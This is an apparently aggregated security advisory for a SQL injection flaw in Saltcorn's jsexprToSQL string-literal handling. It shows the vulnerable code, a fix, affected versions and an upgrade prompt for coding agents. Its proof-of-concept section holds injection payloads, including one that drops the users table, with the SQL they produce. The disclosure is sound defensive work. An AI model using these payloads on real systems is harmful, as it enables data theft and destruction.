# GHSA-59xv-588h-2vmm: @saltcorn/data vulnerable to SQL Injection via jsexprToSQL Literal Handler

> An admin can inject SQL via unescaped string literals in Formula constraints, allowing unauthorized database modification or data access.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** An administrator
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 10 Apr 2026

## What is GHSA-59xv-588h-2vmm?

GHSA-59xv-588h-2vmm is a SQL injection vulnerability in @saltcorn/data, published on 10 Apr 2026. An attacker needs administrator access to exploit it, and only if a user opens a file or follows a link.

### Official description

## Summary

The `jsexprToSQL()` function in Saltcorn converts JavaScript expressions to SQL for use in database constraints. The `Literal` handler wraps string values in single quotes without escaping embedded single quotes, allowing SQL injection when creating Formula-type table constraints.

## Vulnerable Component

**File:** `packages/saltcorn-data/models/expression.ts`, lines 117-118

```typescript
Literal({ value }: { value: ExtendedNode }) {
  if (typeof value == "string") return `'${value}'`;  // NO ESCAPING!
  return `${value}`;
},
```

**Call chain:** Formula constraint creation → `table_constraints.ts:127` → `jsexprToSQL()` → `Literal()` → `db.query()` executes unsanitized SQL.

## Proof of Concept

### Injection via Formula Constraint

When an admin creates a Formula-type table constraint with the expression:

```javascript
name === "test' OR '1'='1"
```

The `jsexprToSQL()` function generates:

```sql
(name)=('test' OR '1'='1')
```

This is then executed as:

```sql
ALTER TABLE "tablename" ADD CONSTRAINT "tablename_fml_1" CHECK ((name)=('test' OR '1'='1'));
```

The single quote in the string literal is not escaped, breaking out of the SQL string context.

### More Dangerous Payload

```javascript
name === "'; DROP TABLE users; --"
```

Generates:

```sql
(name)=(''; DROP TABLE users; --')
```

### Verified on Saltcorn v1.5.0 (Docker)

Direct invocation of `jsexprToSQL()` inside the running container confirms the vulnerability:

```
Input:  name === "hello"
Output: (name)=('hello')                          ← Normal

Input:  name === "test' OR '1'='1"
Output: (name)=('test' OR '1'='1')                ← Single quote NOT escaped, OR injected

Input:  name === "'; DROP TABLE users; --"
Output: (name)=(''; DROP TABLE users; --')         ← DROP TABLE injected
```

The test was performed on a completely fresh Saltcorn installation (zero user-created tables, default Docker setup).

### PoC Screenshot

1. Create a table after moving to the table menu

<img width="1194" height="559" alt="SCR-20260307-edqn" src="https://github.com/user-attachments/assets/a2d11102-f49b-4b2b-88ff-fced37476b6f" />

2. Go to the table and then to `Constraits`

<img width="1180" height="600" alt="SCR-20260307-edsg" src="https://github.com/user-attachments/assets/b55ddace-01be-4a53-8f62-cbec98172cd7" />

3. Go to `Formula`

<img width="1130" height="518" alt="SCR-20260307-edud" src="https://github.com/user-attachments/assets/8a5addc6-e681-401b-91ea-bce3b0eece54" />

4. Create a test table for verification

<img width="857" height="294" alt="SCR-20260307-eetw" src="https://github.com/user-attachments/assets/debc8581-8145-44cb-a684-2bc3eb7adbcf" />

5. Input the payload and save

<img width="763" height="383" alt="SCR-20260307-ehcz" src="https://github.com/user-attachments/assets/f7a3aa34-7b0b-48ea-b1df-f852f137c37f" />

6. Check the table for testing

<img width="549" height="256" alt="SCR-20260307-ehuh" src="https://github.com/user-attachments/assets/8f6da842-0275-4729-93bf-96575f3fe963" />

## Impact

- Arbitrary SQL execution via crafted CHECK constraints
- Data exfiltration through error-based or time-based SQL injection
- Database schema manipulation (DROP TABLE, ALTER TABLE)
- Potential privilege escalation via direct `users` table modification

## Suggested Remediation

Escape single quotes in the `Literal` handler:

```typescript
Literal({ value }: { value: ExtendedNode }) {
  if (typeof value == "string") return `'${value.replace(/'/g, "''")}'`;
  return `${value}`;
},
```

Alternatively, use parameterized queries for constraint creation instead of string interpolation.

## Which versions are affected by GHSA-59xv-588h-2vmm?

6 open source packages ship an affected version, including @saltcorn/data.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `@saltcorn/data` | npm | All versions | 1.4.5 |
| `@saltcorn/data` | npm | All versions | 1.4.5 |
| `@saltcorn/data` | npm | From 1.5.0 | 1.5.5 |
| `@saltcorn/data` | npm | From 1.5.0 | 1.5.5 |
| `@saltcorn/data` | npm | From 1.6.0-alpha.0 | 1.6.0-beta.4 |
| `@saltcorn/data` | npm | From 1.6.0-alpha.0 | 1.6.0-beta.4 |

## How do I fix GHSA-59xv-588h-2vmm?

Upgrade @saltcorn/data to a fixed version for your release line: 1.4.5, 1.5.5 or 1.6.0-beta.4.

## Is GHSA-59xv-588h-2vmm being exploited?

There is no known exploitation of GHSA-59xv-588h-2vmm in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-59xv-588h-2vmm and fix it if it is affected.

What it is: GHSA-59xv-588h-2vmm is a SQL injection vulnerability in @saltcorn/data, published on 10 Apr 2026. An attacker needs administrator access to exploit it, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-59xv-588h-2vmm in the wild and no public exploit code.

Affected packages and fixed versions:
- @saltcorn/data (npm): affected all versions; fixed in 1.4.5
- @saltcorn/data (npm): affected all versions; fixed in 1.4.5
- @saltcorn/data (npm): affected from 1.5.0; fixed in 1.5.5
- @saltcorn/data (npm): affected from 1.5.0; fixed in 1.5.5
- @saltcorn/data (npm): affected from 1.6.0-alpha.0; fixed in 1.6.0-beta.4
- @saltcorn/data (npm): affected from 1.6.0-alpha.0; fixed in 1.6.0-beta.4

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-59xv-588h-2vmm/ (Markdown: https://insights.sbomify.com/GHSA-59xv-588h-2vmm/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-59xv-588h-2vmm

---
From sbomify Insights: https://insights.sbomify.com/GHSA-59xv-588h-2vmm/
Summaries are generated and may contain mistakes; the official description above is the record.
